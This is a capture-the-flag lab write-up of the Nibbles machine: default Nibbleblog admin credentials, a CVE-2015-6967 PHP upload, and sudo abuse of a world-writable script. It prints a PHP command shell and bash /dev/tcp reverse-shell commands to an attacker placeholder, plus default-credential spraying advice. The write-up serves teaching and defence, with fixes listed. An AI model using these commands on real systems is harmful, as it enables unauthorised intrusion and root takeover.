Summary
This writeup is reconstructed from public walkthroughs (see Source attribution below). I have not personally rooted this box.
Nibbles is a clean three-step Linux Easy: default-credentials → authenticated
file upload → world-writable sudo target. The web root explicitly hints at
/nibbleblog/; the admin login at /nibbleblog/admin.php accepts the
default credentials admin / nibbles; once authenticated, CVE-2015-6967
in Nibbleblog 4.0.3’s “My Image” plugin allows an arbitrary file upload —
the plugin’s image-upload form does not validate extensions, so a .php
file lands at /content/private/plugins/my_image/image.php and is
script-executed by Apache. The privesc is a sudo entry granting passwordless
execution of /home/nibbler/personal/stuff/monitor.sh to nibbler —
combined with the script being world-writable, that is one append away
from a root shell.
The teaching beat is “version banners on niche CMSs always contain the
exploit”. Nibbleblog is a small, lightly-maintained PHP CMS with a
short patch history; the banner Nibbleblog 4.0.3 is itself a
disclosure of CVE-2015-6967. A second beat is “sudo entries pointing
at user-controllable scripts are always game over”: the
(root) NOPASSWD: <script> form is fine if and only if the script is
root-owned and not user-writable. On Nibbles, monitor.sh is owned by
nibbler with chmod 777 — the security model collapses on either of
those individually.
Source attribution
Reconstruction is grounded in:
- 0xdf, “HTB: Nibbles” — https://0xdf.gitlab.io/2018/06/30/htb-nibbles.html.
Primary source. Walks the gobuster discovery, the
users.xml-leaking-of-admin, the default-password guess, the My Image plugin upload, and the world-writablemonitor.shsudo pivot. - IppSec, “Nibbles” video walkthrough — https://ippsec.rocks/?#Nibbles.
- ExploitDB 38489 (CVE-2015-6967 PoC for Nibbleblog 4.0.3).
Recon
22/tcp open ssh OpenSSH 7.2p2
80/tcp open http Apache httpd 2.4.18
The HTTP root serves a “Hello world!” page with a comment hint:
<!-- /nibbleblog/ directory. Nothing interesting here -->
(Plus the obvious “the directory the page tells you contains nothing is always the load-bearing one.”)
/nibbleblog/ is a Nibbleblog CMS install. The CMS exposes a few
files that leak useful state:
/nibbleblog/README → Nibbleblog 4.0.3 fingerprint
/nibbleblog/admin.php → admin login form
/nibbleblog/content/private/users.xml → reveals admin username
Gobuster pulls these out:
gobuster dir -u http://<TARGET>/nibbleblog/ \
-w /usr/share/wordlists/dirb/common.txt -x php,xml
The version 4.0.3 is the fingerprint to search for. CVE-2015-6967
is an authenticated file upload affecting that exact release.
Foothold — admin/nibbles + Nibbleblog plugin upload
Default-credential probing on the admin login: admin/admin,
admin/password, and admin/nibbles — the last (matching the
software name, a common-enough convention) succeeds. The
admin panel exposes plugin management at
/nibbleblog/admin.php?controller=plugins&action=list.
The “My Image” plugin’s configuration page provides an image
upload form. The plugin’s PHP code (in
plugins/my_image/index.php) saves the uploaded file under
content/private/plugins/my_image/image.<ext> and does not
validate the extension or content type — a PHP file passes the
filter unchanged.
# attacker — prepare a small PHP cmd shell
cat > shell.php <<'EOF'
<?php system($_GET['cmd']); ?>
EOF
In the My Image plugin’s upload form, submit shell.php. The
upload succeeds; the file lands at
/nibbleblog/content/private/plugins/my_image/image.php (the
plugin renames the upload to image.<ext> regardless of the
original filename).
Trigger:
curl "http://<TARGET>/nibbleblog/content/private/plugins/my_image/image.php?cmd=id"
Returns uid=1001(nibbler) gid=1001(nibbler). Note: the shell
runs as nibbler directly, not www-data — Apache here is
configured to use mpm_itk or similar to run user vhosts as
the owning Unix user. That detail is unusual; on most HTB
Linux boxes the foothold lands as www-data and a separate
lateral move is required for user.txt.
For convenience, upgrade to a reverse shell:
curl "http://<TARGET>/nibbleblog/content/private/plugins/my_image/image.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F%3CATTACKER%3E%2F4444%200%3E%261%22"
user.txt is at /home/nibbler/user.txt and readable directly.
Privilege escalation — world-writable sudo target
sudo -l from the nibbler shell:
nibbler@nibbles:~$ sudo -l
User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
The script doesn’t exist by default — personal/stuff/ is a
deliberate breadcrumb. There’s also a zip artifact in
~/personal.zip that, when unzipped, creates the directory and
the empty script:
nibbler@nibbles:~$ unzip personal.zip
nibbler@nibbles:~$ ls -la /home/nibbler/personal/stuff/monitor.sh
-rwxrwxrwx 1 nibbler nibbler 0 ... monitor.sh
-rwxrwxrwx — world-writable. Even without that, the script
lives in the nibbler user’s home and is owned by nibbler,
so nibbler can rewrite it freely.
Append a reverse shell:
echo 'bash -c "bash -i >& /dev/tcp/<ATTACKER>/4445 0>&1"' \
>> /home/nibbler/personal/stuff/monitor.sh
Listener:
nc -lvnp 4445
Trigger via sudo:
sudo /home/nibbler/personal/stuff/monitor.sh
The reverse shell connects back as root.
sh-4.3# id
uid=0(root) gid=0(root) groups=0(root)
sh-4.3# cat /root/root.txt
Why each step worked
- Default credentials: Nibbleblog ships with no
forced-password-change-on-first-login flow. The admin
installer documentation suggests
admin/nibblesas the initial password (or, in some packagings, leaves it as the install-time field whose default value is the software name). Password defaults that match the software name are a recurring pattern across small PHP CMSs. - Plugin upload didn’t validate: the My Image plugin’s
upload handler renames the file to
image.<ext>but never validates the extension against a whitelist. Apache’s PHP handler is configured globally on the install, so any.phpunder the document root executes. - Sudo entry pointing at user-owned script: the
configuration is the canonical foot-gun.
(root) NOPASSWD:is fine when the target is root-owned and immutable; it is catastrophic when the target lives in a user’s home. monitor.shwas world-writable:chmod 777on the script makes the bug exploitable even from accounts other thannibbler. On Nibbles the foothold isnibblerso this overlaps with the prior bullet, but a real-world variant of this misconfiguration would be exploitable from any low-priv account.
Counterfactuals
- Force a password change on first admin login. This is a one-line addition to the post-install flow on most CMSs and has been industry-standard since the late 2000s.
- Validate file uploads against an extension allow-list, not
a deny-list, and serve uploads from a vhost where PHP
execution is disabled (
php_admin_flag engine offin an Apache<Directory>block). The two-defence stack (whitelist + non-executable directory) closes the entire upload-RCE bug class. - Sudoers entries for “run a script as root” should target
scripts that live in
/usr/local/bin/or/etc/, are root-owned, and have permissions0755or0750. Never point a sudoers entry at a path under/home. - Don’t
chmod 777anything. There are very few legitimate cases for it; “I needed the script to work” is not one.
Key Takeaways
- Default credentials for niche-CMS admin panels almost
always include the software name itself as the password.
Always try
admin/<name-of-cms>early in the credential spray. - “Authenticated arbitrary file upload” CVEs map to a tiny set of actual primitives — usually a missing extension filter on a plugin or media-upload endpoint. The fix pattern is the same across them.
- The full sudo-config audit is a single command on a fresh
shell:
sudo -l && find /etc/sudoers.d/ -type f -exec cat {} \;— and on a host wheresudo -lshows entries pointing at user paths, the privesc is essentially decided before the kernel-exploit search begins.
References
- 0xdf, “HTB: Nibbles” — https://0xdf.gitlab.io/2018/06/30/htb-nibbles.html
- IppSec, “Nibbles” — https://ippsec.rocks/?#Nibbles
- ExploitDB 38489 (CVE-2015-6967)
- Nibbleblog project — https://github.com/dignajar/nibbleblog